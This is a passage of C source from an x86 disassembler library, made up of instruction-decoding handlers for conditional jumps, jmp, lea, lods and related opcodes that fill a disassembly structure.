    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JS;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "js ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f89h
// =======================================
void __stdcall jns_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNS;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jns ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f8ah
// =======================================
void __stdcall jp_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JP;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jp ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f8bh
// =======================================
void __stdcall jnp_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNP;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnp ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f8ch
// =======================================
void __stdcall jl_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JL;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jl ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f8dh
// =======================================
void __stdcall jnl_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNL;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnl ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f8eh
// =======================================
void __stdcall jle_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNG;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jng ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f8fh
// =======================================
void __stdcall jnle_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JG;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jg ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0e3h
// =======================================
void __stdcall jecxz_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JECXZ;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jecxz ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SBYTE*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=2;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SBYTE*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=2;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0e9h
// =======================================
void __stdcall jmp_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JmpType;
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 5 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 3 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}


// =======================================
//      0ebh
// =======================================
void __stdcall jmp_short(PDISASM pMyDisasm)
{
    long long MyAddress = 0;
    signed long MyNumber = 0;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JmpType;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}


// =======================================
//
// =======================================
void __stdcall jmp_far(PDISASM pMyDisasm)
{
    long MyNumber;
    int i = 0;
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
        (*pMyDisasm).Instruction.BranchType = JmpType;
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ljmp ");
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic,"$");
            i++;
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp far ");
        }
        if (OperandSize ==32) {
            if (!Security(7)) return;
            MyNumber = *((WORD*) (EIP_+5));
            i += CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic+i, "%.4X", MyNumber);
        }
        else {
            if (!Security(5)) return;
            MyNumber = *((WORD*) (EIP_+3));
            i += CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic+i, "%.4X", MyNumber);
        }
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic+i, " , $");
            i+=4;
        }
        else {
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic+i, " : ");
            i+=3;
        }
        MyNumber = *((DWORD*) (EIP_+1));
        if (OperandSize == 16) {
            MyNumber = MyNumber & 0xffff;
        }
        i += CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic+i, "%.8X", MyNumber);
        if (OperandSize == 32) {
            EIP_+=7;
        }
        else {
            EIP_+=5;
        }
    }
}

// =======================================
//
// =======================================
void __stdcall lahf_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + FLAG_CONTROL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lahf ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall lar_GvEw(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lar ");
    GvEw(pMyDisasm);
    FillFlags(pMyDisasm, 53);
}

// =======================================
//
// =======================================
void __stdcall lds_GvM(PDISASM pMyDisasm)
{

    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SEGMENT_REGISTER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lds ");
        if (OperandSize == 32) {
            OpSize = 107;
            MOD_RM(&(*pMyDisasm).Argument2);
            Reg_Opcode(&(*pMyDisasm).Argument1);
            EIP_+= DECALAGE_EIP + 2;
        }
        else {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            Reg_Opcode(&(*pMyDisasm).Argument1);
            EIP_+= DECALAGE_EIP + 2;
        }
    }
}

// =======================================
//      0c9h
// =======================================
void __stdcall leave_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "leave ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG4;
    (*pMyDisasm).Argument1.ArgSize = 32;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SPECIAL_REG + REG5;
    (*pMyDisasm).Argument2.ArgSize = 32;
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall lea_GvM(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + MISCELLANEOUS_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lea ");
    if (OperandSize >= 32) {
        if (OperandSize == 64) {
            OpSize = 104;
        }
        else {
            OpSize = 103;
        }
        MOD_RM(&(*pMyDisasm).Argument2);
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_+= DECALAGE_EIP + 2;
    }
    else {
        OpSize = 102;
        MOD_RM(&(*pMyDisasm).Argument2);
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_+= DECALAGE_EIP + 2;
    }

}

// =======================================
//
// =======================================
void __stdcall les_GvM(PDISASM pMyDisasm)
{

    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + SEGMENT_REGISTER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "les ");
        if (OperandSize == 32) {
            OpSize = 107;
            MOD_RM(&(*pMyDisasm).Argument2);
            Reg_Opcode(&(*pMyDisasm).Argument1);
            EIP_+= DECALAGE_EIP + 2;
        }
        else {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            Reg_Opcode(&(*pMyDisasm).Argument1);
            EIP_+= DECALAGE_EIP + 2;
        }
    }
}

// =======================================
//      0ach
// =======================================
void __stdcall lodsb_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + STRING_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lodsb ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
    (*pMyDisasm).Argument2.ArgSize = 8;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG6;
    EIP_++;
    FillFlags(pMyDisasm, 59);
}

// =======================================
//      0adh
// =======================================
void __stdcall lodsw_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + STRING_INSTRUCTION;
    if (OperandSize == 64) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lodsq ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG6;
        EIP_++;
        FillFlags(pMyDisasm, 59);
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lodsd ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
        (*pMyDisasm).Argument2.ArgSize = 32;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG6;
        EIP_++;
        FillFlags(pMyDisasm, 59);
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lodsw ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG6;
        EIP_++;
        FillFlags(pMyDisasm, 59);
    }
}

// =======================================
//      0adh
// =======================================
void __stdcall loop_(PDISASM pMyDisasm)
{
    signed long MyNumber;
    long long MyAddress;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JE;
